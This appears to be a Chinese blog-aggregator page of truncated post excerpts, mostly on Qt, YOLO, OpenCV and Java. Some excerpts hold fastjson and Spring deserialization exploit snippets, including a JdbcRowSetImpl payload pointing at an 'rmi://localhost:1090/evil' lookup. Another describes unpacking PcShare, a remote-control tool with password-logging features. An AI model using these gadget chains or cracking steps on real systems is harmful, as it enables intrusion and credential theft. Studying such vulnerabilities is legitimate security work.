Qt + MySQL + SQLServer 数据库概要

Qt + MySQL + SQLServer 数据库概要 本文来自我的个人网站:http://beself.top/2018/02/07/qt-mysql-sqlserver/ 简介 本次Qt+MySql+SqlServer数据库作为一个开头,讲解如何使用Qt来正确连接MySql和SqlServer数据库,并简单的使用查询语句来查询数据库中数据并显示在界面表中,以此来验证正确连接数据库。 本次的源码已经上传到码云,并附带链接,供所有人下载 码云:https://gitee.com/ALONE_
分类: 其他 发布时间: 12-28 22:47 阅读次数: 0

Qt – 获取12306动态验证码图片

Qt – 获取12306动态验证码图片 本文转载自:http://beself.top/2018/09/16/qt-get_12306verificationcode/ 背景 经常出行的人就知道买火车票是一件比较困难的事情,特别是节假日,抢票就更加艰难了,抢票的工具起始也很多,但是作为一个程序员,很想自己来实现一下自己抢票,虽然不知道最终能不能成功,但是还是要来尝试一下的,前期主要是做一些小demo来验证一些功能是否可以实现,本篇文章介绍获取12306验证码。 本次主要是简单的实现获取验证码这
分类: 其他 发布时间: 12-28 22:47 阅读次数: 0

全国火车站站名字典

全国火车站站名字典 之前想做一个抢票软件,在网上找了好久中国火车站站名字典,结果要么收费,要么就是不能直接下来用的,很是伤心; 后来根据网上的资料自己整理了一下,整理好几天才搞完,特意分享一下: 链接:http://beself.top/2018/09/25/train-station-name_dictionary/
分类: 其他 发布时间: 12-28 22:47 阅读次数: 0

Linux – 自启动程序脚本

http://beself.top/2018/10/25/linux-shell-startup-self/ # Monitor Collector is running # 此脚本是检测另外一个程序是否正在运行,如果没有运行则启动该程序 Path='PortableCollector' while test "1"="1";do Result=`pgrep $Path` if [ ! $Result];then # 启动程序 /home/defau
分类: 其他 发布时间: 12-28 22:46 阅读次数: 0

Qt线程 - 继承QObject方式

Qt线程 - 继承QObject方式 Qt使用线程有两种方式,在新版本的Qt中,Qt官方推荐使用继承QObject的方式,本文档记录使用此方法线程的实验过程。 本文转自:http://beself.top/2018/11/09/qt-thread-inherit-qobject/ 线程实验总结 在实验1 至实验5终于得出结论,使用继承QObject的方式实现多线程的方式, 使用继承QObject的方式实现多线程的方式经过实验证明是可以的,具体过程请仔细观察实验过程记录; 本次实验中实验了终止线
分类: 其他 发布时间: 12-28 22:46 阅读次数: 0

平台2.0数据采集软件

转自:http://beself.top/2018/11/28/plat2-0datacollector/ 平台2.0数据采集软件 此软件主要功能是采集数据并保存到数据库; 介绍 软件是公司平台需要数据战术,故开发采集数据的一个软件; 从搭建框架到完成各个子功能都是一行一行代码码出来的; 软件界面相对简单,从软件界面逻辑可以看出软件搭建的框架; 属性 值 软件名称 平台2.0数据采集软件 开发环境 VS2017 VS版本 VS2010 插件 Codejock Software皮肤库;GridC
分类: 其他 发布时间: 12-28 22:46 阅读次数: 0

VC6++ 默认目录

转自:http://beself.top/2018/12/06/vc6-default_directory/ 此文章目的 在开发一个VC++项目时遇到一种情况,工具->目录下的默认目录全部没了,然后整个工程就崩溃了,但是网上缺找不到一些有用的资料,故此将这片文章方在网上。 注:是Executable files、include files、library files、source files下的所有目录没有了。 解决办法 将一下的目录各自添加到相应 的目录后整个工程便好了。 VC6 默认安装目
分类: 其他 发布时间: 12-28 22:46 阅读次数: 0

论文笔记(1)--(YOLOv2)YOLO9000:Better,Faster,Stronger

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/lwplwf/article/details/82895409 论文链接:https://arxiv.org/abs/1612.08242 主要包括三个部分:Better,Faster,Stronger,其中前面两部分基本上讲的是YOLO v2,最后一部分讲的是YOLO9000。 Better 这部分细节很多,要详细了解的话还是需要结合源码来看。 本篇论文是YOLO作者为了改进原有的YOLO算法所
分类: 其他 发布时间: 12-28 22:45 阅读次数: 0

NCNN(2)--网络结构文件.param解析

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/lwplwf/article/details/82983904 LeNet模型为例 由Caffe的lenet_deploy.prototxt文件转换得到 name: "LeNet" layer { name: "data" type: "Input" top: "data" input_param { shape: { dim: 1 dim: 1 dim: 28 dim: 28 }
分类: 其他 发布时间: 12-28 22:45 阅读次数: 0

Caffe(12)--实现YOLOv2目标检测

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/lwplwf/article/details/83011667 https://github.com/lwplw/caffe_yolov2 DarkNet转Caffe中有很多潜在的问题,在YOLOv1、v2、v3几个网络中有一些特殊的层。要在Caffe中跑YOLO,就得在Caffe中源码实现这些层。这些层的Caffe源码实现可以在网上找到很多。 YOLO特殊层的Caffe框架实现 YOLOv1 d
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0

fastjson反序列化TemplatesImpl

环境参考第一个链接,直接用IDEA打开 编译EvilObject.java成EvilObject.class 先看poc,其中NASTY_CLASS为TemplatesImpl类,evilCode是EvilObject.class base64编码: final String evilClassPath = "E:\\Struts2-Vulenv-master\\PoCs-fastjson1241\\src\\main\\java\\org\\lain\\poc\\TemplatesImpl\
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0

Themida/WinLicense V1 8 2 0 +脱壳 FOR PcShare远程控制会员版本20070826

【文章作者】: 冰橙子 【详细过程】 今天拿到PcShare远程控制会员版本20070826,看看说明 一、加了插默认浏览器的功能 二、重新修改了文件下载,一目了然,肉机不上线也可以管理。 三、加了窗口管理的功能、 四、加了群发消息的功能 五、加了强制肉机访问网页的功能 六、增加代理(不完善测试阶段) 七、增加了记录系统登录密码功能 看着看着 就想破解,说干就干,不管是不是菜鸟,还是先查壳把, 用PEID查壳: Themida/WinLicense V1.8.2.0 + -> Oreans T
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0

一些关于集合的笔记

一:知识点 二:代码 2.使用迭代器remove方法删除元素 public class InteratorDemo { public static void main(String[] args) { List<String> list = new ArrayList<>(); list.add("老师"); list.add("学生"); list.add("主任"); list.add("班长"); list.add("学委"); System.out.println(list); Ite
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0

Self Attention需要掌握的基本原理

字面意思理解,self attention就是计算句子中每个单词的重要程度。 1. Structure 通过流程图,我们可以看出,首先要对输入数据做Embedding 1. 在编码层,输入的word-embedding就是key,value和query,然后做self-attention得到编码层的输出。这一步就模拟了图1中的编码层,输出就可以看成图1中的h。 2. 然后模拟图1中的解码层,解码层的关键是如何得到s,即用来和编码层做attention的query,我们发现,s与上个位置的真实l
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0

applyColorMap()研究(如果我对现有的colormap不满意,那么如何具体来做)

cv::applyColorMap()能够实现预定义的伪彩色,这个是众所周知的事情。 并且和matlab提供的很相近 除了这些预置的变换,如果我想实现新的变换,需要做LUT变换 cv::Mat image_gray_3c; //单通道的灰度图,转换成R、G、B三通道值均相等的三通道图 cv::cvtColor(image_gray, image_gray_3c, cv::COLOR_GRAY2RGB); //opencv默认的颜色排列顺序是BGR,而这里自定义的colormap的顺序是RGB
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0

fastjson反序列化JdbcRowSetImpl

Gadget com.sun.rowset.JdbcRowSetImpl setAutoCommit() -> connect() -> InitialContext.lookup() poc如下,dataSourceName 为rmi://localhost:1090/evil: String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"dataSourc
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0

使用API判断网络是否连通 InternetGetConnectedState / IsNetworkAlive

// test.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "test.h" #include <Wininet.h> #include <Sensapi.h> #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0

Spring framework 反序列化的漏洞

理解这个漏洞需要先看freebuff上的jdni的小例子。这里就不看了。 Server端代码: imort java.io.*; import java.net.*; public class ExploitableServer { public static void main(String[] args) { try { //本地监听1234端口 ServerSocket serverSocket = new ServerSo
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0

Jackson 动态Bean

为了解决json字符串有很多属性, 但是不必每个属性都映射到pojo的属性。 @JsonProperty : 标记一个方法是一个属性的getter或setter方法, 也即把java属性和json域关联起来 @JsonCreator: 定义从json字符串到java对象的构造方法, 在数据绑定的时候使用到 @JsonAnyGetter, @JsonAnySetter: 标记一个方法读取或设置不被其他java属性处理的域, 它们会处理所有不被其他属性处理的域, 这些域被作为键值对存储在一个map
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0

一对老耗子,每个月都生一对小耗子。小耗子长3个月,第四个开始变成老耗子开始生! 假如都不死,那么请问24个月后有多少只耗子?

package 第五天的作业; /* * 一对老耗子,每个月都生一对小耗子。小耗子长3个月,第四个开始变成老耗子开始生! 假如都不死,那么请问24个月后有多少只耗子? */ /* * 思路 * 设计ONE TWO THREE OLD四个变量, * 存放第一个月,第二个月,第三个月,老耗子的数量 * */ public class Demo3 { public static void main(String[] args) { int old = 2; //老耗子 int one = 0; //
分类: 其他 发布时间: 12-28 22:44 阅读次数: 0